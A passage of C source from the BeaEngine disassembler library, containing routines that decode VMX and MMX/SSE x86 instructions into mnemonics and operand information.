        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 23);
        EIP_ += DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
        if (OperandSize == 16) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmclear ");
        }
        else if (PrefRepe == 1) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmxon ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrld ");
        }
        EIP_ += DECALAGE_EIP + 2;

    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrst ");
        EIP_ += DECALAGE_EIP + 2;
    }
    else {
        FailDecode(pMyDisasm);
    }

}







__MACOSX/LILXAM_SEHOP/BeaEngine/Includes/instr_set/._opcodes_Grp9.c





LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_MMX.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

void __stdcall emms_(PDISASM pMyDisasm)
{
	(*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + STATE_MANAGEMENT;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "emms ");
	EIP_++;
}

// ====================================================================
//      0x 0f 7e
// ====================================================================
void __stdcall movd_EP(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + DATA_TRANSFER;
    // ========= 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        if (REX.W_ == 1) {
            OpSize = 4;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 3;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd ");
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else {
        if (REX.W_ == 1) {
            OpSize = 4;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument2);
            MMX_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 3;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd ");
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument2);
            MMX_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
}


// ====================================================================
//      0x 0f 6e
// ====================================================================
void __stdcall movd_PE(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + DATA_TRANSFER;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        if (REX.W_ == 1) {
            OpSize = 104;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd ");
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else {
        if (REX.W_ == 1) {
            OpSize = 104;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
            MOD_RM(&(*pMyDisasm).Argument2);
            MMX_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movd ");
            MOD_RM(&(*pMyDisasm).Argument2);
            MMX_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
}



// ====================================================================
//      0x 0f 6f
// ====================================================================
void __stdcall movq_PQ(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + DATA_TRANSFER;
    // ========= 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqu ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqa ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 7f
// ====================================================================
void __stdcall movq_QP(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + DATA_TRANSFER;
    // ========= 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 8;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqu ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 8;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdqa ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 4;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
        MMX_ = 1;
        ExGx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d6
// ====================================================================
void __stdcall movq_WV(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + DATA_TRANSFER;
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movdq2q ");
        MMX_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        MMX_ = 0;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;

    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq2dq ");
        MMX_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        MMX_ = 0;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 4;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movq ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 1c
// ====================================================================
void __stdcall pabsb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 38 1e
// ====================================================================
void __stdcall pabsd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsd ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 38 1d
// ====================================================================
void __stdcall pabsw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pabsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 63
// ====================================================================
void __stdcall packsswb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packsswb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packsswb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 6b
// ====================================================================
void __stdcall packssdw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packssdw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packssdw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 67
// ====================================================================
void __stdcall packuswb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packuswb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packuswb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f fc
// ====================================================================
void __stdcall paddb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f fd
// ====================================================================
void __stdcall paddw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f fe
// ====================================================================
void __stdcall paddd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddd ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f ec
// ====================================================================
void __stdcall paddsb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f ed
// ====================================================================
void __stdcall paddsw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f dc
// ====================================================================
void __stdcall paddusb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f dd
// ====================================================================
void __stdcall paddusw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f db
// ====================================================================
void __stdcall pand_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + LOGICAL_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pand ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pand ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}
// ====================================================================
//      0x 0f df
// ====================================================================
void __stdcall pandn_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + LOGICAL_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pandn ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pandn ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 74
// ====================================================================
void __stdcall pcmpeqb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + COMPARISON_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 75
// ====================================================================
void __stdcall pcmpeqw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + COMPARISON_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 76
// ====================================================================
void __stdcall pcmpeqd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + COMPARISON_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 64
// ====================================================================
void __stdcall pcmpgtb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + COMPARISON_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 65
// ====================================================================
void __stdcall pcmpgtw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + COMPARISON_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 66
// ====================================================================
void __stdcall pcmpgtd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + COMPARISON_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f e5
// ====================================================================
void __stdcall pmulhw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d5
// ====================================================================
void __stdcall pmullw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmullw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmullw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f f5
// ====================================================================
void __stdcall pmaddwd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddwd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddwd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f eb
// ====================================================================
void __stdcall por_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + LOGICAL_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "por ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "por ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f f1
// ====================================================================
void __stdcall psllw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f f2
// ====================================================================
void __stdcall pslld_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f f3
// ====================================================================
void __stdcall psllq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d1
// ====================================================================
void __stdcall psrlw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
